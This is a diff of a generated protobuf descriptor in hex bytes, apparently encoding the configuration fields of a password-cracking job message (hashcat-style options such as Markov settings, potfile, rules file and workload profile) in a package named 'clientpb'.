- 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e,
- 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67,
- 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18,
- 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65,
- 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62,
- 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c,
- 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61,
- 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20,
- 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61,
- 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45,
- 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18,
- 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f,
- 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15,
- 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61,
- 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79,
- 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69,
- 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18,
- 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b,
- 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c,
- 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72,
- 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c,
- 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e,
- 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e,
- 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65,
- 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e,
- 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67,
- 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d,
- 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74,
- 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70,
- 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61,
- 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e,
- 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66,
- 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68,
- 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f,
- 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68,
- 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68,
- 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49,
- 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55,
- 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e,
- 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61,
- 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e,
- 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d,
- 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b,
- 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30,
- 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f,
- 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63,
- 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c,
- 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18,
- 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e,
- 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76,
- 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b,
- 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70,
- 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18,
- 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76,
- 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69,
- 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c,
- 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a,
- 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34,
- 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44,
- 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d,
- 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61,
- 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64,
- 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f,
- 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57,
- 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20,
- 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20,
- 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c,
- 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18,
- 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f,
- 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65,
- 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65,
- 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b,
- 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50,
- 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63,
- 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e,
- 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e,
- 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73,
- 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f,
- 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f,
- 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d,
- 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74,
- 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54,
- 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f,
- 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04,
- 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20,
- 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65,
- 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65,
- 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46,
- 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73,
- 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65,
- 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e,
- 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65,
- 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69,
- 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74,
- 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13,
+ 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74,
+ 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62,
+ 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62,
+ 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73,
+ 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b,
+ 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72,
+ 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08,
+ 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12,
+ 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63,
+ 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c,
+ 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49,
+ 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61,
+ 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d,
+ 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16,
+ 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65,
+ 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65,
+ 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12,
+ 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73,
+ 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74,
+ 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69,
+ 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73,
+ 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52,
+ 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c,
+ 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a,
+ 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d,
+ 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d,
+ 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61,
+ 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f,
+ 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08,
+ 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78,
+ 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69,
+ 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01,
+ 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b,
+ 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73,
+ 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18,
+ 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41,
+ 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a,
+ 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53,
+ 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64,
+ 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18,
+ 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55,
+ 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55,
+ 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76,
+ 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12,
+ 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27,
+ 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65,
+ 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61,
+ 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69,
+ 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74,
+ 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66,
+ 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46,
+ 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69,
+ 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d,
+ 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b,
+ 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62,
+ 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65,
+ 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69,
+ 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12,
+ 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65,
+ 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61,
+ 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a,
+ 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65,
+ 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f,
+ 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69,
